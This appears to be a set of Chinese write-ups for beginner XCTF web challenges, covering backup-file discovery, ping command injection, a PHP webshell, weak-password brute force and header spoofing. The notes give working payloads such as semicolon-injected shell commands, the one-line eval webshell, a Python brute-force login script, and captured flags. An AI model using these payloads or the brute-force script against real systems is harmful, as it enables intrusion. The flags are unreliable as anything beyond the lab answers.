📤Web📥初级

backup

题目描述

X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

题目场景

问题:你知道index.php的备份文件名吗?
搜索可知:“.bak”、“.bash_history”、“.bkf” 、“.git” 、“.svn”、“.swp”“.~”

解题

dirsearch - 基于Python的Web路径发现脚本

  1. dirsearch -e bak,bkf,bash_history,swp,svn,git -u [要扫描的地址/自己的题目场景] -o E:\dirsearch.txt
  2. 我的:dirsearch -e bak,bkf,bash_history,swp,svn,git -u http://111.200.241.244:51075 -o E:\dirsearchBakUp.txt

image.png

dirsearchBakUp.txt

好奇怪,-e筛选了后缀,为什么输出结果还是全部的文件?

# Dirsearch started Fri Mar 18 14:17:25 2022 as: D:\DEV\Python\Python310\Scripts\dirsearch -e bak,bkf,bash_history,swp,svn,git -u http://111.200.241.244:51075 -o E:\dirsearchBakUp.txt

403   296B   http://111.200.241.244:51075/.ht_wsr.txt
403   299B   http://111.200.241.244:51075/.htaccess.bak1
403   299B   http://111.200.241.244:51075/.htaccess_orig
403   301B   http://111.200.241.244:51075/.htaccess.sample
403   299B   http://111.200.241.244:51075/.htaccess.orig
403   300B   http://111.200.241.244:51075/.htaccess_extra
403   299B   http://111.200.241.244:51075/.htaccess.save
403   298B   http://111.200.241.244:51075/.htaccessOLD2
403   297B   http://111.200.241.244:51075/.htaccess_sc
403   297B   http://111.200.241.244:51075/.htaccessOLD
403   289B   http://111.200.241.244:51075/.htm
403   290B   http://111.200.241.244:51075/.html
403   297B   http://111.200.241.244:51075/.htaccessBAK
403   299B   http://111.200.241.244:51075/.htpasswd_test
403   295B   http://111.200.241.244:51075/.htpasswds
403   296B   http://111.200.241.244:51075/.httr-oauth
403   289B   http://111.200.241.244:51075/.php
403   290B   http://111.200.241.244:51075/.php3
200   438B   http://111.200.241.244:51075/index.php
200   438B   http://111.200.241.244:51075/index.php/login/
200   500B   http://111.200.241.244:51075/index.php.bak
403   298B   http://111.200.241.244:51075/server-status
403   299B   http://111.200.241.244:51075/server-status/

根据题中的“index.php”,明显是“index.php.bak”,即访问“http://111.200.241.244:51075/index.php.bak”资源:

index.php.bak

<html>
<head>
    <meta charset="UTF-8">
    <title>备份文件</title>
    <link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
    <style>
        body{
            margin-left:auto;
            margin-right:auto;
            margin-TOP:200PX;
            width:20em;
        }
    </style>
</head>
<body>
<h3>你知道index.php的备份文件名吗?</h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
?>
</body>
</html>

Flag

Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}

WriteUp

command_execution

题目描述

小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

WAF

Web应用防火墙(WAF)可以防止Web应用免受各种常见攻击,比如SQL注入,跨站脚本漏洞(XSS)等。
WAF也能够监测并过滤掉某些可能让应用遭受DOS(拒绝服务)攻击的流量。WAF会在HTTP流量抵达应用服务器之前检测可疑访问,同时,它们也能防止从Web应用获取某些未经授权的数据。

命令执行

Linux中的命令分隔符有以下几种:

  1. “&&”分隔符

Linux中使用“&&”分隔符分隔的命令时,当首个命令执行失败后,后续的命令不会执行。

  1. “||”分隔符✅

Linux中“||”分隔符分隔的命令时,当首个命令执行失败后,后续的命令还会继续执行。

  1. “;”分隔符✅

Linux中使用“;”分隔符分隔的命令时,命令会按顺序执行,即使中间命令使用方式不对,后续命令还会继续执行。

题目场景

原始场景

image.png

直接点击“PING”

image.png

127.0.0.1

image.png

解题

尝试在ip地址后加上分号“;”和命令,发现分号后的命令可以执行:
image.png

find / -name flag

127.0.0.1;find / -name *flag*

image.png

cat /home/flag.txt

127.0.0.1;cat /home/flag.txt

image.png

Flag

我的:Cyberpeace{F0ABE68D844902B94E82971B13666EB3}
看别人的是全小写,但是我改成全小写也不行:
image.png

WriteUp

cookie

题目描述

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

题目场景

文字信息:你知道什么是cookie吗?

解题

查看Cookie

可以通过Burp Suite抓包,或者浏览器访问时的报文(F12-NetWork-Cookies):
image.png
或者控制台输入命令“document.cookie”打印:
image.png

cookie.php

文字提示:“See the http response”,意为查看HTTP报文的应答包(Response)
F12-NetWork-Headers-Response Headers”有:Flag: cyberpeace{3cfc2c7be0ff5cd4e6bd499a0ad72e25}
image.png

Flag

Flag: cyberpeace{3cfc2c7be0ff5cd4e6bd499a0ad72e25}

WriteUp

disabled_button

题目描述

X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢?

题目场景

image.png

解题

按钮代码

<form action="" method="post">
  <input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
</form>

禁用了按钮,按钮的代码是POST发送“auth = flag”(auth=flag)的值,可以自己发包,但是还是启用按钮更符合题意也更方便:
image.png

启用按钮

删除“class="btn btn-default"”前的禁用代码“disabled”:
image.png

发包

image.png

返回Flag

image.png

Flag

cyberpeace{8badfdf3730240481101568ea8444153}

WriteUp

get_post

题目描述

X老师告诉小宁同学HTTP通常使用两种请求方法,你知道是哪两种吗?

题目场景

访问后页面提示:请用GET方式提交一个名为a,值为1的变量

解题

方式1:HackBar

构造带参的GET包:在原始URL后拼接“/?a=1”:
image.png
返回页面提示:“请再以POST方式随便提交一个名为b,值为2的变量”。
继续构造带参的POST包,body为“b=2”,返回了Falg:
image.png
image.png

方式2:curl

curl -X POST -d "b=2" [场景地址]/?a=1

image.png

方式3:Burp Suite

  1. F5刷新抓包
  2. 改包,GET发包到“/?a=1”路径
  3. 再改包,在2.的包基础上,在body加上“b=2”(建议通过“Params”标签页添加:Type:body,Name:b,Value:2)

    方式4:Python

    requests.post”发包后,打印响应包的“.text”: ```python import requests

url = r”http://111.200.241.244:65366“ url2GET = url + “/?a=1” print(url2GET) data2POST = { ‘b’:2 }

response = requests.post(url2GET, data=data2POST) if response.status_code == 200: response.encoding = response.apparent_encoding print(“成功:”, response.text)

<a name="rxaBl"></a>
### Flag
cyberpeace{b8f4f3229646e4ed8fb3e048ab5e7d43}
<a name="nugi2"></a>
#### [WriteUp](https://adworld.xctf.org.cn/task/writeup?type=web&id=5062&number=3&grade=0&page=1)
<a name="UbPKJ"></a>
## [robots](https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5063&page=1)
<a name="PJlep"></a>
### 题目描述
X老师上课讲了Robots协议,小宁同学却上课打了瞌睡,赶紧来教教小宁Robots协议是什么吧。
<a name="IyeIL"></a>
#### [Robots协议](https://baike.baidu.com/item/robots%E5%8D%8F%E8%AE%AE)
**robots协议也叫robots.txt**(统一小写)是一种存放于[网站](https://baike.baidu.com/item/%E7%BD%91%E7%AB%99)根目录下的[ASCII](https://baike.baidu.com/item/ASCII)编码的[文本文件](https://baike.baidu.com/item/%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6),它通常告诉网络[搜索引擎](https://baike.baidu.com/item/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E)的漫游器(又称[网络蜘蛛](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E8%9C%98%E8%9B%9B)),此网站中的哪些内容是不应被搜索引擎的漫游器获取的,哪些是可以被漫游器获取的。因为一些系统中的URL是大小写敏感的,所以robots.txt的文件名应统一为小写。robots.txt应放置于网站的根目录下。如果想单独定义搜索引擎的漫游器访问子目录时的行为,那么可以将自定的设置合并到根目录下的robots.txt,或者使用robots[元数据](https://baike.baidu.com/item/%E5%85%83%E6%95%B0%E6%8D%AE)(Metadata,又称元数据)。<br />robots协议并不是一个规范,而**只是约定俗成的,所以并不能保证网站的隐私。**
<a name="TRd8W"></a>
### [题目场景](http://111.200.241.244:59792)
打开后是空白。
<a name="iqUVX"></a>
### 解题
<a name="W7Y5B"></a>
#### 访问robots.txt
根据百度搜索结果的“存放于[网站](https://baike.baidu.com/item/%E7%BD%91%E7%AB%99)**根目录**下的[ASCII](https://baike.baidu.com/item/ASCII)编码的[文本文件](https://baike.baidu.com/item/%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6)”,在场景地址末尾加上“`/robots.txt`”,访问到了:<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1647661457996-a1adc553-ee09-4fb6-bf61-2774439244b0.png#clientId=u98ef579d-d606-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=163&id=u36330b84&margin=%5Bobject%20Object%5D&name=image.png&originHeight=163&originWidth=584&originalType=binary&ratio=1&rotation=0&showTitle=false&size=18938&status=done&style=none&taskId=u06e7abe2-87dd-43d8-a6ab-7033075804f&title=&width=584)
<a name="ukM85"></a>
##### 访问Disallow
Disallow禁止访问“f1ag_1s_h3re.php”,那么就在场景后加上“`/f1ag_1s_h3re.php`”:<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1647661621941-f2e8edbb-694b-466d-aa43-db209da81b1b.png#clientId=u98ef579d-d606-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=147&id=ue4b4862e&margin=%5Bobject%20Object%5D&name=image.png&originHeight=147&originWidth=578&originalType=binary&ratio=1&rotation=0&showTitle=false&size=17807&status=done&style=none&taskId=uc4fdee51-c14d-4bf2-abde-987e1f3c744&title=&width=578)
<a name="PPgL9"></a>
#### 路径扫描
刚装了HackBar,还尝试用它自带的“dirsearch”做路径扫描,但是HackBar的自动扫描太慢了:<br />![image.png](https://cdn.nlark.com/yuque/0/2022/png/1632223/1647661730051-bd8b0a84-546f-464b-bbb9-0d4f0630978d.png#clientId=u98ef579d-d606-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=457&id=uae6295a9&margin=%5Bobject%20Object%5D&name=image.png&originHeight=457&originWidth=960&originalType=binary&ratio=1&rotation=0&showTitle=false&size=46472&status=done&style=none&taskId=u2f2cbb5a-e846-483a-a759-68386321b62&title=&width=960)<br />直接用“dirsearch”:
```python
dirsearch -u [场景地址] -e * -o [文件路径]

image.png

Flag

cyberpeace{5142e56672ed19803c99fa59cb07266f}

WriteUp

simple_js

题目描述

小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

题目场景

image.png

<html>
<head>
<title>JS</title>
<script type="text/javascript">

function dechiffre(pass_enc)
{
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab  = pass_enc.split(',');
    var tab2 = pass.split(',');

    var i,j,k,l=0,
        m,n,o,p = "";
        i = 0;
        j = tab.length;
        k = j + (l) + (n=0);
        n = tab2.length;

    for(i = (o=0); i < (k = j = n); i++ )
    {
        o = tab[i-l];
    p += String.fromCharCode((o = tab2[i]));
        if(i == 5)break;
    }

    for(i = (o=0); i < (k = j = n); i++ )
    {
        o = tab[i-l];
        if(i > 5 && i < k-1)
            p += String.fromCharCode((o = tab2[i]));
    }

    ing.fromCharCode(tab2[17]);
    pass = p;
    return pass;
}

String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

</script>
</head>
</html>

解题

方式1 - 字符转换

代码中函数“String.fromCharCode”作用是将 Unicode 编码转为一个字符(ASCII码)。

原始Unicode
\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

Hex
55,56,54,79,115,69,114,116,107,49,50

ASCII
7,8,6,O,s,E,r,t,k,1,2

方式2 - 修改js代码

将下文代码保存为.html文件后(替换了pass),拖入浏览器打开刷新即可得Flag:
20220318_155436.gif

注意

可能是长度原因(懒得看代码),最后一个字符会变成乱码:
image.png
我把需要处理的最后一个元素多复制了一遍(\x2c\x35\x30),再扣除最后一个的乱码(pass.slice(0,pass.length-1))。

<html>
<head>
<title>JS</title>
<script type="text/javascript">

function dechiffre(pass_enc)
{
    var pass = "\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30\x2c\x35\x30";
    var tab = pass_enc.split(',');
    var tab2 = pass.split(',');
    var i,lenInput,k,l=0,m,lenPass,o,p = "";i = 0;lenInput = tab.length;
    k = lenInput + (l) + (lenPass=0);
    lenPass = tab2.length;

    for(i = (o=0); i < (k = lenInput = lenPass); i++ )
    {
        o = tab[i-l];
        p += String.fromCharCode((o = tab2[i]));
        if(i == 5)
            break;
    }

    for(i = (o=0); i < (k = lenInput = lenPass); i++ )
    {
        o = tab[i-l];
        if(i > 5 && i < k-1)
            p += String.fromCharCode((o = tab2[i]));
    }

    p += String.fromCharCode(tab2[17]);
    pass = p;
    return pass.slice(0,pass.length-1);
}

alert( dechiffre("🥳🥳🥳建瓯最坏恭喜你获得Flag🥳🥳🥳") );

</script>
</head>
</html>

Flag

Cyberpeace{786OsErtk12}

WriteUp

simple_php

题目描述

小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。

题目场景

<?php 
show_source(__FILE__); 
include("config.php"); 
$a=@$_GET['a']; 
$b=@$_GET['b']; 
if($a==0 and $a){ 
    echo $flag1; 
} 
if(is_numeric($b)){ 
    exit(); 
} 
if($b>1234){ 
    echo $flag2; 
} 
?>

解题

  1. 要求a等于0,并且a为true
    1. 为字符串0
  2. 要求b不是数字
  3. b大于1234
    1. 为带大于1234数字的字符串

构造参数字符串:“/?a="0"&b=3333建瓯最坏

Flag

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

WriteUp

view_source

题目描述

X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。

题目场景

image.png

解题

因为我一般直接F12,看了WriteUp才知道,原来考的是如果右击的检查被禁用了后,怎么通过别的方式查看源码。
F12是一种,还可以通过Burp Suite抓包查看网站传输过来的数据。

Flag

cyberpeace{a249eaa9cecd6b4d9582bfd40af850b3}

WriteUp

weak_auth

题目描述

小宁写了一个登陆验证页面,随手就设了一个密码。

题目场景

image.png

解题

  • 用户:admin
  • 密码:123456

image.png

弱密码暴破

🔄🔄🔄Burp Suite🔄🔄🔄适用✅✅✅

等我去公司用办公电脑做。

🐍🐍🐍Python🐍🐍🐍
  1. 用户字典+密码字典,for循环搭配遍历并发包
  2. 保存返回包的“.text
    1. 检测是否有能判断无Flag的代码,如本案例为“password error”和“please login as admin”
    2. 和前一个包对比,如果不同则打印 ```python import requests

def ReadDictionary(txtUser, txtPassword): with open(txtUser, encoding=’utf-8’) as f: listUser = f.read().splitlines()

# print(listUser)
with open(txtPassword, encoding='utf-8') as f:
    listPassword = f.read().splitlines()
# print(listPassword)
return listUser, listPassword

def BruteForce_UserAndPassword(inputUser, inputPassword): bGet = 0 listResponse = [] for iUser in inputUser: for iPassword in inputPassword: dic2Post = { ‘username’:iUser, ‘password’:iPassword }

        # print(dic2Post)
        response = requests.post(url, data=dic2Post, timeout=33)
        if response.status_code == 200:
            textResponse = response.text
            # 根据错误的返回包中的提醒字符串
            if ((strErr1 not in textResponse) and (strErr2 not in textResponse)):
                print("密码为:", dic2Post)
                bGet = 1
            elif textResponse not in listResponse:
                listResponse.append(textResponse)

if bGet == 0:
    print("所有返回包:")
    print(set(listResponse))

url = r”http://111.200.241.244:63653/check.php“ txtUser = r”User.txt” txtPassword = r”Password.txt” strErr1 = “password error” strErr2 = “please login as admin” if name == ‘main‘: listUser, listPassword = ReadDictionary(txtUser, txtPassword) BruteForce_UserAndPassword(listUser, listPassword)

<a name="TMu1b"></a>
### Flag
cyberpeace{7f199b07366fda8d4dcf1d27346b0ef4}
<a name="rcWFW"></a>
#### [WriteUp](https://adworld.xctf.org.cn/task/writeup?type=web&id=5069&number=3&grade=0&page=1)
<a name="eB5t1"></a>
## [webshell](https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5070&page=1)
<a name="qKLME"></a>
### 题目描述
小宁百度了php一句话,觉着很有意思,并且把它放在index.php里。
<a name="ErKD4"></a>
### 题目场景
```java
你会使用webshell吗?
<?php @eval($_POST['shell']);?>

解题

工具

image.png
image.png

WebShell工具

以“蚁剑”为例,可以通过命令终端(优先)和文件管理的方式查找Flag:
image.png

执行命令

ls列出文件

image.png

find查找文件

如果ls没有找到flag文件,使用“find”命令“-name *flag*”:

find / -name *flag*

cat查看文件内容
cat /var/www/html/flag.txt

image.png

文件管理

image.png
image.png

Flag

Cyberpeace{9755FBFF7099C0987DBFC18E20052E87}

WriteUp

xff_referer

题目描述

X老师告诉小宁其实xff和referer是可以伪造的。

X-Forwarded-For

X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。 Squid 缓存代理服务器的开发人员最早引入了这一HTTP头字段,并由IETF在Forwarded-For HTTP头字段标准化草案中正式提出。
当今多数缓存服务器的使用者为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下, 这些代理服务器是透明代理, 用户甚至不知道自己正在使用代理上网。
如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址(而非连接发起的原始IP地址), 这样的代理服务器实际上充当了匿名服务提供者的角色, 如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。XFF的有效性依赖于代理服务器提供的连接原始IP地址的真实性,因此, XFF的有效使用应该保证代理服务器是可信的, 比如可以通过建立可信服务器白名单的方式。

HTTP_REFERER

HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

题目场景

ip地址必须为“123.123.123.123
必须来自“https://www.google.com

解题

使用HackBar或者Burp Suite等工具,伪造HTTP报文的字段,随机设置数值后会得到上面的提示,根据提示,将:

  • X-Forwarded-For = “123.123.123.123
  • Referer = “https://www.google.com

image.png
image.png
即可得Flag。

Flag

Cyberpeace{0B224EC36E15BD74B3C63D05083191EF}

WriteUp